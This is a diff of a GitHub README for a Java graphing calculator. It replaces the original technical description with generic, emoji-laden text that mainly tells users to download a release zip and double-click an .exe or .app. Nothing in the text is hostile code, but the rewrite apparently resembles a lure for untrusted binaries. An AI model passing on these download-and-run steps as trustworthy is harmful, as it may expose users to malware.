|  | 
| 1 |  | -**Java Graphing Calculator** | 
| 2 |  | - | 
| 3 |  | -An interactive graphing calculator built in Java that combines console-based function input with a fully interactive GUI. This project is designed for advanced mathematical calculations and visualization.  | 
| 4 |  | - | 
| 5 |  | -**Features** | 
| 6 |  | - | 
| 7 |  | -- Console Input: Enter one or multiple explicit functions directly in the console. | 
| 8 |  | -- **Custom Math Engine**: Handles advanced operations including: | 
| 9 |  | -  - Integrals | 
| 10 |  | -  - Derivatives | 
| 11 |  | -  - Products | 
| 12 |  | -  - Sums | 
| 13 |  | -- Custom Function Parser: Parses explicit functions for computation.   | 
| 14 |  | -- **Interactive GUI:** | 
| 15 |  | -  - Graphing with multiple functions, combined with antialiasing for a smooth look. | 
| 16 |  | -  - Pan and zoom to explore the graph in detail. | 
| 17 |  | -  - Labeled grid lines to keep track of points/location of the graph. | 
| 18 |  | - | 
| 19 |  | - **Usage** | 
| 20 |  | - - Run the program with an IDE or from the command line. | 
| 21 |  | - - Enter your function in the console, e.g: | 
| 22 |  | -    5+x+sin(tan(x))       This will output the following: <img width="1200" height="1200" alt="20250910_11h58m00s_grim" src="https://github.com/user-attachments/assets/c8cd4f5c-ec2f-46ee-b2ee-cf9c8c8b9cf2" /> | 
| 23 |  | - | 
| 24 |  | -- Type "graph" into the console to confirm all functions, opening the interactive GUI. | 
| 25 |  | -- Use your mouse to move the graph around with left click and pan.  | 
| 26 |  | -- Use your mousewheel to zoom in/out, or press i to zoom in and o to zoom out. | 
| 27 |  | -- Close the window to end the program. | 
|  | 1 | +# 🎉 graphing-calculator - Your Interactive Math Companion | 
|  | 2 | + | 
|  | 3 | +## 🚀 Getting Started | 
|  | 4 | + | 
|  | 5 | +Welcome to the graphing-calculator! This interactive Java-based application lets you visualize mathematical functions with ease. Whether you're a student or someone curious about graphing, this tool makes advanced math accessible. Let’s get moving! | 
|  | 6 | + | 
|  | 7 | +## 📥 Download | 
|  | 8 | + | 
|  | 9 | +[](https://github.com/FihmyJabareen/graphing-calculator/releases) | 
|  | 10 | + | 
|  | 11 | +## 🖥️ System Requirements | 
|  | 12 | + | 
|  | 13 | +Before you download, ensure your system meets these minimum requirements: | 
|  | 14 | + | 
|  | 15 | +- **Operating System**: Windows 10, macOS, or any Linux distribution | 
|  | 16 | +- **Java Runtime**: Version 8 or higher | 
|  | 17 | +- **RAM**: 4 GB or more recommended | 
|  | 18 | +- **Disk Space**: At least 100 MB free | 
|  | 19 | + | 
|  | 20 | +Having these ready will help make your installation process smooth. | 
|  | 21 | + | 
|  | 22 | +## 📂 Download & Install | 
|  | 23 | + | 
|  | 24 | +To get started, visit this page to download: [Download graphing-calculator](https://github.com/FihmyJabareen/graphing-calculator/releases). | 
|  | 25 | + | 
|  | 26 | +1. Go to the **Releases** page. | 
|  | 27 | +2. Find the **latest version** of the application. | 
|  | 28 | +3. Click on the asset that matches your operating system (e.g., `graphing-calculator-v1.0.zip` for Windows). | 
|  | 29 | +4. Download the file to your computer. | 
|  | 30 | +5. Once downloaded, unzip or extract the file if it is a zipped format. | 
|  | 31 | + | 
|  | 32 | +### 🤔 Running the Application | 
|  | 33 | + | 
|  | 34 | +After extracting the files, you will find a program file. Follow these steps to run it: | 
|  | 35 | + | 
|  | 36 | +- **For Windows**: Double-click the `graphing-calculator.exe` file, or open it from the terminal. | 
|  | 37 | +- **For macOS**: Double-click the `graphing-calculator.app`, or execute it from the terminal. | 
|  | 38 | +- **For Linux**: Open a terminal, navigate to the folder where you extracted files, and run `java -jar graphing-calculator.jar`. | 
|  | 39 | + | 
|  | 40 | +If you encounter a permission error, you might need to adjust your security settings or use the terminal with the proper permissions. | 
|  | 41 | + | 
|  | 42 | +## 🔍 Features | 
|  | 43 | + | 
|  | 44 | +The graphing-calculator comes packed with features designed for ease of use: | 
|  | 45 | + | 
|  | 46 | +- **Plotting Functions**: Input any real function to see its graph instantly. | 
|  | 47 | +- **Advanced Math Support**: Enjoy capabilities for trigonometry, derivatives, and integrals. | 
|  | 48 | +- **Intuitive Interface**: Navigate easily using a clean, user-friendly layout. | 
|  | 49 | +- **Zoom & Pan**: Adjust your view to focus on specific areas of the graph. | 
|  | 50 | +- **Multiple Function Plotting**: Compare different functions on the same graph. | 
|  | 51 | + | 
|  | 52 | +These features will help you explore and understand mathematical concepts better. | 
|  | 53 | + | 
|  | 54 | +## 🏷️ Topics | 
|  | 55 | + | 
|  | 56 | +You might also find interest in these related topics: functions, graphing, GUI applications, Java programming, and mathematics. They will enhance your understanding and usability of this application. | 
|  | 57 | + | 
|  | 58 | +## ❓ Help & Support | 
|  | 59 | + | 
|  | 60 | +If you run into issues or have questions about using the graphing-calculator, feel free to reach out. You can open an issue on the repository or consult the community on related forums. | 
|  | 61 | + | 
|  | 62 | +## 🌐 Explore More | 
|  | 63 | + | 
|  | 64 | +To stay updated with the latest features and updates, bookmark our [GitHub repository](https://github.com/FihmyJabareen/graphing-calculator). | 
|  | 65 | + | 
|  | 66 | +## 🌟 Acknowledgments | 
|  | 67 | + | 
|  | 68 | +Thank you for choosing the graphing-calculator! We appreciate your interest and hope this tool makes your learning experience enjoyable.  | 
|  | 69 | + | 
|  | 70 | +For further information, please refer to the documentation located within the repository. | 
0 commit comments